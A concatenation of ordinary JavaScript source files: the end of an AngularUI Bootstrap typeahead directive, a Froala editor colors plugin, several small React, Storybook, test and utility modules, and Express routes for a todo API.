'border-color': 'transparent', 'box-shadow': 'none', 'opacity': 1, 'background': 'none 0% 0% / auto repeat scroll padding-box border-box rgb(255, 255, 255)', 'color': '#999' }); element.css({ 'position': 'relative', 'vertical-align': 'top', 'background-color': 'transparent' }); inputsContainer.append(hintInputElem); hintInputElem.after(element); } //pop-up element used to display matches var popUpEl = angular.element('<div uib-typeahead-popup></div>'); popUpEl.attr({ id: popupId, matches: 'matches', active: 'activeIdx', select: 'select(activeIdx, evt)', 'move-in-progress': 'moveInProgress', query: 'query', position: 'position', 'assign-is-open': 'assignIsOpen(isOpen)', debounce: 'debounceUpdate' }); //custom item template if (angular.isDefined(attrs.typeaheadTemplateUrl)) { popUpEl.attr('template-url', attrs.typeaheadTemplateUrl); } if (angular.isDefined(attrs.typeaheadPopupTemplateUrl)) { popUpEl.attr('popup-template-url', attrs.typeaheadPopupTemplateUrl); } var resetHint = function() { if (showHint) { hintInputElem.val(''); } }; var resetMatches = function() { scope.matches = []; scope.activeIdx = -1; element.attr('aria-expanded', false); resetHint(); }; var getMatchId = function(index) { return popupId + '-option-' + index; }; // Indicate that the specified match is the active (pre-selected) item in the list owned by this typeahead. // This attribute is added or removed automatically when the `activeIdx` changes. scope.$watch('activeIdx', function(index) { if (index < 0) { element.removeAttr('aria-activedescendant'); } else { element.attr('aria-activedescendant', getMatchId(index)); } }); var inputIsExactMatch = function(inputValue, index) { if (scope.matches.length > index && inputValue) { return inputValue.toUpperCase() === scope.matches[index].label.toUpperCase(); } return false; }; var getMatchesAsync = function(inputValue, evt) { var locals = {$viewValue: inputValue}; isLoadingSetter(originalScope, true); isNoResultsSetter(originalScope, false); $q.when(parserResult.source(originalScope, locals)).then(function(matches) { //it might happen that several async queries were in progress if a user were typing fast //but we are interested only in responses that correspond to the current view value var onCurrentRequest = inputValue === modelCtrl.$viewValue; if (onCurrentRequest && hasFocus) { if (matches && matches.length > 0) { scope.activeIdx = focusFirst ? 0 : -1; isNoResultsSetter(originalScope, false); scope.matches.length = 0; //transform labels for (var i = 0; i < matches.length; i++) { locals[parserResult.itemName] = matches[i]; scope.matches.push({ id: getMatchId(i), label: parserResult.viewMapper(scope, locals), model: matches[i] }); } scope.query = inputValue; //position pop-up with matches - we need to re-calculate its position each time we are opening a window //with matches as a pop-up might be absolute-positioned and position of an input might have changed on a page //due to other elements being rendered recalculatePosition(); element.attr('aria-expanded', true); //Select the single remaining option if user input matches if (selectOnExact && scope.matches.length === 1 && inputIsExactMatch(inputValue, 0)) { if (angular.isNumber(scope.debounceUpdate) || angular.isObject(scope.debounceUpdate)) { $$debounce(function() { scope.select(0, evt); }, angular.isNumber(scope.debounceUpdate) ? scope.debounceUpdate : scope.debounceUpdate['default']); } else { scope.select(0, evt); } } if (showHint) { var firstLabel = scope.matches[0].label; if (angular.isString(inputValue) && inputValue.length > 0 && firstLabel.slice(0, inputValue.length).toUpperCase() === inputValue.toUpperCase()) { hintInputElem.val(inputValue + firstLabel.slice(inputValue.length)); } else { hintInputElem.val(''); } } } else { resetMatches(); isNoResultsSetter(originalScope, true); } } if (onCurrentRequest) { isLoadingSetter(originalScope, false); } }, function() { resetMatches(); isLoadingSetter(originalScope, false); isNoResultsSetter(originalScope, true); }); }; // bind events only if appendToBody params exist - performance feature if (appendToBody) { angular.element($window).on('resize', fireRecalculating); $document.find('body').on('scroll', fireRecalculating); } // Declare the debounced function outside recalculating for // proper debouncing var debouncedRecalculate = $$debounce(function() { // if popup is visible if (scope.matches.length) { recalculatePosition(); } scope.moveInProgress = false; }, eventDebounceTime); // Default progress type scope.moveInProgress = false; function fireRecalculating() { if (!scope.moveInProgress) { scope.moveInProgress = true; scope.$digest(); } debouncedRecalculate(); } // recalculate actual position and set new values to scope // after digest loop is popup in right position function recalculatePosition() { scope.position = appendToBody ? $position.offset(element) : $position.position(element); scope.position.top += element.prop('offsetHeight'); } //we need to propagate user's query so we can higlight matches scope.query = undefined; //Declare the timeout promise var outside the function scope so that stacked calls can be cancelled later var timeoutPromise; var scheduleSearchWithTimeout = function(inputValue) { timeoutPromise = $timeout(function() { getMatchesAsync(inputValue); }, waitTime); }; var cancelPreviousTimeout = function() { if (timeoutPromise) { $timeout.cancel(timeoutPromise); } }; resetMatches(); scope.assignIsOpen = function (isOpen) { isOpenSetter(originalScope, isOpen); }; scope.select = function(activeIdx, evt) { //called from within the $digest() cycle var locals = {}; var model, item; selected = true; locals[parserResult.itemName] = item = scope.matches[activeIdx].model; model = parserResult.modelMapper(originalScope, locals); $setModelValue(originalScope, model); modelCtrl.$setValidity('editable', true); modelCtrl.$setValidity('parse', true); onSelectCallback(originalScope, { $item: item, $model: model, $label: parserResult.viewMapper(originalScope, locals), $event: evt }); resetMatches(); //return focus to the input element if a match was selected via a mouse click event // use timeout to avoid $rootScope:inprog error if (scope.$eval(attrs.typeaheadFocusOnSelect) !== false) { $timeout(function() { element[0].focus(); }, 0, false); } }; //bind keyboard events: arrows up(38) / down(40), enter(13) and tab(9), esc(27) element.on('keydown', function(evt) { //typeahead is open and an "interesting" key was pressed if (scope.matches.length === 0 || HOT_KEYS.indexOf(evt.which) === -1) { return; } var shouldSelect = isSelectEvent(originalScope, {$event: evt}); /** * if there's nothing selected (i.e. focusFirst) and enter or tab is hit * or * shift + tab is pressed to bring focus to the previous element * then clear the results */ if (scope.activeIdx === -1 && shouldSelect || evt.which === 9 && !!evt.shiftKey) { resetMatches(); scope.$digest(); return; } evt.preventDefault(); var target; switch (evt.which) { case 27: // escape evt.stopPropagation(); resetMatches(); originalScope.$digest(); break; case 38: // up arrow scope.activeIdx = (scope.activeIdx > 0 ? scope.activeIdx : scope.matches.length) - 1; scope.$digest(); target = popUpEl.find('li')[scope.activeIdx]; target.parentNode.scrollTop = target.offsetTop; break; case 40: // down arrow scope.activeIdx = (scope.activeIdx + 1) % scope.matches.length; scope.$digest(); target = popUpEl.find('li')[scope.activeIdx]; target.parentNode.scrollTop = target.offsetTop; break; default: if (shouldSelect) { scope.$apply(function() { if (angular.isNumber(scope.debounceUpdate) || angular.isObject(scope.debounceUpdate)) { $$debounce(function() { scope.select(scope.activeIdx, evt); }, angular.isNumber(scope.debounceUpdate) ? scope.debounceUpdate : scope.debounceUpdate['default']); } else { scope.select(scope.activeIdx, evt); } }); } } }); element.bind('focus', function (evt) { hasFocus = true; if (minLength === 0 && !modelCtrl.$viewValue) { $timeout(function() { getMatchesAsync(modelCtrl.$viewValue, evt); }, 0); } }); element.bind('blur', function(evt) { if (isSelectOnBlur && scope.matches.length && scope.activeIdx !== -1 && !selected) { selected = true; scope.$apply(function() { if (angular.isObject(scope.debounceUpdate) && angular.isNumber(scope.debounceUpdate.blur)) { $$debounce(function() { scope.select(scope.activeIdx, evt); }, scope.debounceUpdate.blur); } else { scope.select(scope.activeIdx, evt); } }); } if (!isEditable && modelCtrl.$error.editable) { modelCtrl.$setViewValue(); // Reset validity as we are clearing modelCtrl.$setValidity('editable', true); modelCtrl.$setValidity('parse', true); element.val(''); } hasFocus = false; selected = false; }); // Keep reference to click handler to unbind it. var dismissClickHandler = function(evt) { // Issue #3973 // Firefox treats right click as a click on document if (element[0] !== evt.target && evt.which !== 3 && scope.matches.length !== 0) { resetMatches(); if (!$rootScope.$$phase) { originalScope.$digest(); } } }; $document.on('click', dismissClickHandler); originalScope.$on('$destroy', function() { $document.off('click', dismissClickHandler); if (appendToBody || appendTo) { $popup.remove(); } if (appendToBody) { angular.element($window).off('resize', fireRecalculating); $document.find('body').off('scroll', fireRecalculating); } // Prevent jQuery cache memory leak popUpEl.remove(); if (showHint) { inputsContainer.remove(); } }); var $popup = $compile(popUpEl)(scope); if (appendToBody) { $document.find('body').append($popup); } else if (appendTo) { angular.element(appendTo).eq(0).append($popup); } else { element.after($popup); } this.init = function(_modelCtrl, _ngModelOptions) { modelCtrl = _modelCtrl; ngModelOptions = _ngModelOptions; scope.debounceUpdate = modelCtrl.$options && $parse(modelCtrl.$options.debounce)(originalScope); //plug into $parsers pipeline to open a typeahead on view changes initiated from DOM //$parsers kick-in on all the changes coming from the view as well as manually triggered by $setViewValue modelCtrl.$parsers.unshift(function(inputValue) { hasFocus = true; if (minLength === 0 || inputValue && inputValue.length >= minLength) { if (waitTime > 0) { cancelPreviousTimeout(); scheduleSearchWithTimeout(inputValue); } else { getMatchesAsync(inputValue); } } else { isLoadingSetter(originalScope, false); cancelPreviousTimeout(); resetMatches(); } if (isEditable) { return inputValue; } if (!inputValue) { // Reset in case user had typed something previously. modelCtrl.$setValidity('editable', true); return null; } modelCtrl.$setValidity('editable', false); return undefined; }); modelCtrl.$formatters.push(function(modelValue) { var candidateViewValue, emptyViewValue; var locals = {}; // The validity may be set to false via $parsers (see above) if // the model is restricted to selected values. If the model // is set manually it is considered to be valid. if (!isEditable) { modelCtrl.$setValidity('editable', true); } if (inputFormatter) { locals.$model = modelValue; return inputFormatter(originalScope, locals); } //it might happen that we don't have enough info to properly render input value //we need to check for this situation and simply return model value if we can't apply custom formatting locals[parserResult.itemName] = modelValue; candidateViewValue = parserResult.viewMapper(originalScope, locals); locals[parserResult.itemName] = undefined; emptyViewValue = parserResult.viewMapper(originalScope, locals); return candidateViewValue !== emptyViewValue ? candidateViewValue : modelValue; }); }; }]) .directive('uibTypeahead', function() { return { controller: 'UibTypeaheadController', require: ['ngModel', '^?ngModelOptions', 'uibTypeahead'], link: function(originalScope, element, attrs, ctrls) { ctrls[2].init(ctrls[0], ctrls[1]); } }; }) .directive('uibTypeaheadPopup', ['$$debounce', function($$debounce) { return { scope: { matches: '=', query: '=', active: '=', position: '&', moveInProgress: '=', select: '&', assignIsOpen: '&', debounce: '&' }, replace: true, templateUrl: function(element, attrs) { return attrs.popupTemplateUrl || 'uib/template/typeahead/typeahead-popup.html'; }, link: function(scope, element, attrs) { scope.templateUrl = attrs.templateUrl; scope.isOpen = function() { var isDropdownOpen = scope.matches.length > 0; scope.assignIsOpen({ isOpen: isDropdownOpen }); return isDropdownOpen; }; scope.isActive = function(matchIdx) { return scope.active === matchIdx; }; scope.selectActive = function(matchIdx) { scope.active = matchIdx; }; scope.selectMatch = function(activeIdx, evt) { var debounce = scope.debounce(); if (angular.isNumber(debounce) || angular.isObject(debounce)) { $$debounce(function() { scope.select({activeIdx: activeIdx, evt: evt}); }, angular.isNumber(debounce) ? debounce : debounce['default']); } else { scope.select({activeIdx: activeIdx, evt: evt}); } }; } }; }]) .directive('uibTypeaheadMatch', ['$templateRequest', '$compile', '$parse', function($templateRequest, $compile, $parse) { return { scope: { index: '=', match: '=', query: '=' }, link: function(scope, element, attrs) { var tplUrl = $parse(attrs.templateUrl)(scope.$parent) || 'uib/template/typeahead/typeahead-match.html'; $templateRequest(tplUrl).then(function(tplContent) { var tplEl = angular.element(tplContent.trim()); element.replaceWith(tplEl); $compile(tplEl)(scope); }); } }; }]) .filter('uibTypeaheadHighlight', ['$sce', '$injector', '$log', function($sce, $injector, $log) { var isSanitizePresent; isSanitizePresent = $injector.has('$sanitize'); function escapeRegexp(queryToEscape) { // Regex: capture the whole query string and replace it with the string that will be used to match // the results, for example if the capture is "a" the result will be \a return queryToEscape.replace(/([.?*+^$[\]\\(){}|-])/g, '\\$1'); } function containsHtml(matchItem) { return /<.*>/g.test(matchItem); } return function(matchItem, query) { if (!isSanitizePresent && containsHtml(matchItem)) { $log.warn('Unsafe use of typeahead please use ngSanitize'); // Warn the user about the danger } matchItem = query ? ('' + matchItem).replace(new RegExp(escapeRegexp(query), 'gi'), '<strong>$&</strong>') : matchItem; // Replaces the capture string with a the same string inside of a "strong" tag if (!isSanitizePresent) { matchItem = $sce.trustAsHtml(matchItem); // If $sanitize is not present we pack the string in a $sce object for the ng-bind-html directive } return matchItem; }; }]); angular.module('ui.bootstrap.carousel').run(function() {!angular.$$csp().noInlineStyle && !angular.$$uibCarouselCss && angular.element(document).find('head').prepend('<style type="text/css">.ng-animate.item:not(.left):not(.right){-webkit-transition:0s ease-in-out left;transition:0s ease-in-out left}</style>'); angular.$$uibCarouselCss = true; }); angular.module('ui.bootstrap.datepicker').run(function() {!angular.$$csp().noInlineStyle && !angular.$$uibDatepickerCss && angular.element(document).find('head').prepend('<style type="text/css">.uib-datepicker .uib-title{width:100%;}.uib-day button,.uib-month button,.uib-year button{min-width:100%;}.uib-left,.uib-right{width:100%}</style>'); angular.$$uibDatepickerCss = true; }); angular.module('ui.bootstrap.position').run(function() {!angular.$$csp().noInlineStyle && !angular.$$uibPositionCss && angular.element(document).find('head').prepend('<style type="text/css">.uib-position-measure{display:block !important;visibility:hidden !important;position:absolute !important;top:-9999px !important;left:-9999px !important;}.uib-position-scrollbar-measure{position:absolute !important;top:-9999px !important;width:50px !important;height:50px !important;overflow:scroll !important;}.uib-position-body-scrollbar-measure{overflow:scroll !important;}</style>'); angular.$$uibPositionCss = true; }); angular.module('ui.bootstrap.datepickerPopup').run(function() {!angular.$$csp().noInlineStyle && !angular.$$uibDatepickerpopupCss && angular.element(document).find('head').prepend('<style type="text/css">.uib-datepicker-popup.dropdown-menu{display:block;float:none;margin:0;}.uib-button-bar{padding:10px 9px 2px;}</style>'); angular.$$uibDatepickerpopupCss = true; }); angular.module('ui.bootstrap.tooltip').run(function() {!angular.$$csp().noInlineStyle && !angular.$$uibTooltipCss && angular.element(document).find('head').prepend('<style type="text/css">[uib-tooltip-popup].tooltip.top-left > .tooltip-arrow,[uib-tooltip-popup].tooltip.top-right > .tooltip-arrow,[uib-tooltip-popup].tooltip.bottom-left > .tooltip-arrow,[uib-tooltip-popup].tooltip.bottom-right > .tooltip-arrow,[uib-tooltip-popup].tooltip.left-top > .tooltip-arrow,[uib-tooltip-popup].tooltip.left-bottom > .tooltip-arrow,[uib-tooltip-popup].tooltip.right-top > .tooltip-arrow,[uib-tooltip-popup].tooltip.right-bottom > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.top-left > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.top-right > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.bottom-left > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.bottom-right > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.left-top > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.left-bottom > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.right-top > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.right-bottom > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.top-left > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.top-right > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.bottom-left > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.bottom-right > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.left-top > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.left-bottom > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.right-top > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.right-bottom > .tooltip-arrow,[uib-popover-popup].popover.top-left > .arrow,[uib-popover-popup].popover.top-right > .arrow,[uib-popover-popup].popover.bottom-left > .arrow,[uib-popover-popup].popover.bottom-right > .arrow,[uib-popover-popup].popover.left-top > .arrow,[uib-popover-popup].popover.left-bottom > .arrow,[uib-popover-popup].popover.right-top > .arrow,[uib-popover-popup].popover.right-bottom > .arrow,[uib-popover-html-popup].popover.top-left > .arrow,[uib-popover-html-popup].popover.top-right > .arrow,[uib-popover-html-popup].popover.bottom-left > .arrow,[uib-popover-html-popup].popover.bottom-right > .arrow,[uib-popover-html-popup].popover.left-top > .arrow,[uib-popover-html-popup].popover.left-bottom > .arrow,[uib-popover-html-popup].popover.right-top > .arrow,[uib-popover-html-popup].popover.right-bottom > .arrow,[uib-popover-template-popup].popover.top-left > .arrow,[uib-popover-template-popup].popover.top-right > .arrow,[uib-popover-template-popup].popover.bottom-left > .arrow,[uib-popover-template-popup].popover.bottom-right > .arrow,[uib-popover-template-popup].popover.left-top > .arrow,[uib-popover-template-popup].popover.left-bottom > .arrow,[uib-popover-template-popup].popover.right-top > .arrow,[uib-popover-template-popup].popover.right-bottom > .arrow{top:auto;bottom:auto;left:auto;right:auto;margin:0;}[uib-popover-popup].popover,[uib-popover-html-popup].popover,[uib-popover-template-popup].popover{display:block !important;}</style>'); angular.$$uibTooltipCss = true; }); angular.module('ui.bootstrap.timepicker').run(function() {!angular.$$csp().noInlineStyle && !angular.$$uibTimepickerCss && angular.element(document).find('head').prepend('<style type="text/css">.uib-time input{width:50px;}</style>'); angular.$$uibTimepickerCss = true; }); angular.module('ui.bootstrap.typeahead').run(function() {!angular.$$csp().noInlineStyle && !angular.$$uibTypeaheadCss && angular.element(document).find('head').prepend('<style type="text/css">[uib-typeahead-popup].dropdown-menu{display:block;}</style>'); angular.$$uibTypeaheadCss = true; });
import React from "react" import AniLink from "gatsby-plugin-transition-link/AniLink" import Title from "../Globals/Title" export default function Info() { return ( <section className="py-5"> <div className="container"> <Title title="our story" /> <div className="row"> <div className="col-10 col-sm-8 mx-auto text-center"> <p className="lead text-muted mb-5"> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. </p> <AniLink fade to="/about"> <button className="btn text-uppercase btn-yellow"> about page </button> </AniLink> </div> </div> </div> </section> ) }
/*! * froala_editor v4.0.5 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2021 Froala Labs */ !function(o,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(o.FroalaEditor)}(this,function(k){"use strict";k=k&&k.hasOwnProperty("default")?k["default"]:k,Object.assign(k.POPUP_TEMPLATES,{"textColor.picker":"[_BUTTONS_][_TEXT_COLORS_][_CUSTOM_COLOR_]","backgroundColor.picker":"[_BUTTONS_][_BACKGROUND_COLORS_][_CUSTOM_COLOR_]"}),Object.assign(k.DEFAULTS,{colorsText:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],colorsBackground:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],colorsStep:7,colorsHEXInput:!0,colorsButtons:["colorsBack","|","-"]}),k.PLUGINS.colors=function(g){var E=g.$,l='<div class="fr-color-hex-layer fr-active fr-layer" id="fr-color-hex-layer- \n '.concat(g.id,'"><div class="fr-input-line"><input maxlength="7" id="[ID]"\n type="text" placeholder="').concat(g.language.translate("HEX Color"),'" \n tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button \n type="button" class="fr-command fr-submit" data-cmd="[COMMAND]" tabIndex="2" role="button">\n ').concat(g.language.translate("OK"),"</button></div></div>");function s(o){for(var t="text"===o?g.opts.colorsText:g.opts.colorsBackground,r='<div class="fr-color-set fr-'.concat(o,'-color fr-selected-set">'),e=0;e<t.length;e++)0!==e&&e%g.opts.colorsStep==0&&(r+="<br>"),"REMOVE"!==t[e]?r+='<span class="fr-command fr-select-color" style="background:'.concat(t[e],';" \n tabIndex="-1" aria-selected="false" role="button" data-cmd="apply').concat(o,'Color" \n data-param1="').concat(t[e],'"><span class="fr-sr-only"> ').concat(g.language.translate("Color")).concat(t[e]," \n &nbsp;&nbsp;&nbsp;</span></span>"):r+='<span class="fr-command fr-select-color" data-cmd="apply'.concat(o,'Color"\n tabIndex="-1" role="button" data-param1="REMOVE" \n title="').concat(g.language.translate("Clear Formatting"),'">').concat(g.icon.create("remove"),' \n <span class="fr-sr-only"> ').concat(g.language.translate("Clear Formatting")," </span></span>");return"".concat(r,"</div>")}function i(o){var t,r=g.popups.get("".concat(o,"Color.picker")),e=E(g.selection.element());t="background"===o?"background-color":"color";var c=r.find(".fr-".concat(o,"-color .fr-select-color"));for(c.find(".fr-selected-color").remove(),c.removeClass("fr-active-item"),c.not('[data-param1="REMOVE"]').attr("aria-selected",!1);e.get(0)!==g.el;){if("transparent"!==e.css(t)&&"rgba(0, 0, 0, 0)"!==e.css(t)){var a=r.find(".fr-".concat(o,'-color .fr-select-color[data-param1="').concat(g.helpers.RGBToHex(e.css(t)),'"]'));a.append('<span class="fr-selected-color" aria-hidden="true">\uf00c</span>'),a.addClass("fr-active-item").attr("aria-selected",!0);break}e=e.parent()}!function n(o){var t=g.popups.get("".concat(o,"Color.picker")),r=t.find(".fr-".concat(o,"-color .fr-active-item")).attr("data-param1"),e=t.find(".fr-color-hex-layer input");r||(r="");e.length&&E(e.val(r).input).trigger("change")}(o)}function e(o){"REMOVE"!==o?g.format.applyStyle("background-color",g.helpers.HEXtoRGB(o)):g.format.removeStyle("background-color"),g.popups.hide("backgroundColor.picker")}function c(o){"REMOVE"!==o?g.format.applyStyle("color",g.helpers.HEXtoRGB(o)):g.format.removeStyle("color"),g.popups.hide("textColor.picker")}return{showColorsPopup:function p(o){var t=g.$tb.find('.fr-command[data-cmd="'.concat(o,'"]')),r=g.popups.get("".concat(o,".picker"));if(r||(r=function n(o){var t="";g.opts.toolbarInline&&0<g.opts.colorsButtons.length&&(t+='<div class="fr-buttons fr-colors-buttons fr-tabs">\n '.concat(g.button.buildList(g.opts.colorsButtons),"\n </div>"));var r,e="";r="textColor"===o?(g.opts.colorsHEXInput&&(e=l.replace(/\[ID\]/g,"fr-color-hex-layer-text-".concat(g.id)).replace(/\[COMMAND\]/g,"customTextColor")),{buttons:t,text_colors:s("text"),custom_color:e}):(g.opts.colorsHEXInput&&(e=l.replace(/\[ID\]/g,"fr-color-hex-layer-background-".concat(g.id)).replace(/\[COMMAND\]/g,"customBackgroundColor")),{buttons:t,background_colors:s("background"),custom_color:e});var c=g.popups.create("".concat(o,".picker"),r);return function a(C,b){g.events.on("popup.tab",function(o){var t=E(o.currentTarget);if(!g.popups.isVisible(b)||!t.is("span"))return!0;var r=o.which,e=!0;if(k.KEYCODE.TAB===r){var c=C.find(".fr-buttons");e=!g.accessibility.focusToolbar(c,!!o.shiftKey)}else if(k.KEYCODE.ARROW_UP===r||k.KEYCODE.ARROW_DOWN===r||k.KEYCODE.ARROW_LEFT===r||k.KEYCODE.ARROW_RIGHT===r){if(t.is("span.fr-select-color")){var a=t.parent().find("span.fr-select-color"),n=a.index(t),l=g.opts.colorsStep,s=Math.floor(a.length/l),i=n%l,p=Math.floor(n/l),u=p*l+i,d=s*l;k.KEYCODE.ARROW_UP===r?u=((u-l)%d+d)%d:k.KEYCODE.ARROW_DOWN===r?u=(u+l)%d:k.KEYCODE.ARROW_LEFT===r?u=((u-1)%d+d)%d:k.KEYCODE.ARROW_RIGHT===r&&(u=(u+1)%d);var f=E(a.get(u));g.events.disableBlur(),f.focus(),e=!1}}else k.KEYCODE.ENTER===r&&(g.button.exec(t),e=!1);return!1===e&&(o.preventDefault(),o.stopPropagation()),e},!0)}(c,"".concat(o,".picker")),c}(o)),!r.hasClass("fr-active"))if(g.popups.setContainer("".concat(o,".picker"),g.$tb),i("textColor"===o?"text":"background"),t.isVisible()){var e=g.button.getPosition(t),c=e.left,a=e.top;g.popups.show("".concat(o,".picker"),c,a,t.outerHeight())}else g.position.forSelection(r),g.popups.show("".concat(o,".picker"))},background:e,customColor:function a(o){var t=g.popups.get("".concat(o,"Color.picker")).find(".fr-color-hex-layer input");if(t.length){var r=t.val();"background"===o?e(r):c(r)}},text:c,back:function o(){g.popups.hide("textColor.picker"),g.popups.hide("backgroundColor.picker"),g.toolbar.showInline()}}},k.DefineIcon("textColor",{NAME:"tint",SVG_KEY:"textColor"}),k.RegisterCommand("textColor",{title:"Text Color",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("textColor.picker")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("textColor.picker")):this.colors.showColorsPopup("textColor")}}),k.RegisterCommand("applytextColor",{undo:!0,callback:function(o,t){this.colors.text(t)}}),k.RegisterCommand("customTextColor",{title:"OK",undo:!0,callback:function(){this.colors.customColor("text")}}),k.DefineIcon("backgroundColor",{NAME:"paint-brush",SVG_KEY:"backgroundColor"}),k.RegisterCommand("backgroundColor",{title:"Background Color",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("backgroundColor.picker")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("backgroundColor.picker")):this.colors.showColorsPopup("backgroundColor")}}),k.RegisterCommand("applybackgroundColor",{undo:!0,callback:function(o,t){this.colors.background(t)}}),k.RegisterCommand("customBackgroundColor",{title:"OK",undo:!0,callback:function(){this.colors.customColor("background")}}),k.DefineIcon("colorsBack",{NAME:"arrow-left",SVG_KEY:"back"}),k.RegisterCommand("colorsBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.colors.back()}}),k.DefineIcon("remove",{NAME:"eraser",SVG_KEY:"remove"})});
export const c_nav__link_after_BorderLeftWidth = { "name": "--pf-c-nav__link--after--BorderLeftWidth", "value": "0", "var": "var(--pf-c-nav__link--after--BorderLeftWidth)" }; export default c_nav__link_after_BorderLeftWidth;
module.exports = max; /** * Returns the maximum of two vec3's * * @param {vec3} out the receiving vector * @param {vec3} a the first operand * @param {vec3} b the second operand * @returns {vec3} out */ function max(out, a, b) { out[0] = Math.max(a[0], b[0]) out[1] = Math.max(a[1], b[1]) out[2] = Math.max(a[2], b[2]) return out }
"use strict"; var __importStar = (this && this.__importStar) || function (mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) result[k] = mod[k]; result["default"] = mod; return result; }; Object.defineProperty(exports, "__esModule", { value: true }); var React = __importStar(require("react")); var react_1 = require("@storybook/react"); var story_helpers_1 = require("../../_helpers/story-helpers"); var __1 = require("../../"); react_1.storiesOf('Spinner', module).add('default', function () { return (React.createElement(React.Fragment, null, React.createElement(story_helpers_1.Example, { title: "Spinner \u2013 default" }, React.createElement(__1.Spinner, { size: "small" })), React.createElement(story_helpers_1.Example, { title: "Spinner \u2013 medium" }, React.createElement(__1.Spinner, { size: "medium" })), React.createElement(story_helpers_1.Example, { title: "Spinner \u2013 large" }, React.createElement(__1.Spinner, { size: "large" })))); }); react_1.storiesOf('Spinner', module).add('dark background', function () { return (React.createElement(React.Fragment, null, React.createElement(story_helpers_1.Example, { title: "Spinner \u2013 small", background: "dark" }, React.createElement(__1.Spinner, { inverse: true, size: "small" })), React.createElement(story_helpers_1.Example, { title: "Spinner \u2013 default", background: "dark" }, React.createElement(__1.Spinner, { inverse: true, size: "medium" })), React.createElement(story_helpers_1.Example, { title: "Spinner \u2013 large", background: "dark" }, React.createElement(__1.Spinner, { inverse: true, size: "large" })))); }); //# sourceMappingURL=spinner.story.js.map
import { expect } from 'chai'; import sinon from 'sinon'; describe('renderer/store', () => { const sandbox = sinon.createSandbox(); afterEach(() => { jest.resetModules(); sandbox.restore(); }); it('should migrate initialState with accounts as an object', () => { const account = { first: 'account' }; const oldState = { accounts: { first: account, }, }; sandbox.stub(localStorage.__proto__, 'getItem').withArgs('appState').returns(JSON.stringify(oldState)); global.localStorage = {}; const store = require('./store').default; const state = store.getState(); expect(state.accounts).to.eql([ account ]); }); });
var Todo = require('./models/todo'); function getTodos(res) { Todo.find(function (err, todos) { // if there is an error retrieving, send the error. nothing after res.send(err) will execute if (err) { res.send(err); } res.json(todos); // return all todos in JSON format }); }; module.exports = function (app) { // api --------------------------------------------------------------------- // get all todos app.get('/api/todos', function (req, res) { // use mongoose to get all todos in the database getTodos(res); }); // create todo and send back all todos after creation app.post('/api/todos', function (req, res) { // create a todo, information comes from AJAX request from Angular Todo.create({ companyname: req.body.companyName, personname: req.body.cntcName, contactnumber: req.body.phnNo, email: req.body.email, url: req.body.websiteUrl }, function (err, todo) { if (err) res.send(err); // get and return all the todos after you create another res.send(todo); }); }); // delete a todo app.delete('/api/todos/:todo_id', function (req, res) { Todo.remove({ _id: req.params.todo_id }, function (err, todo) { if (err) res.send(err); getTodos(res); }); }); // application ------------------------------------------------------------- app.get('*', function (req, res) { res.sendFile(__dirname + '/public/index.html'); // load the single view file (angular will handle the page changes on the front-end) }); };
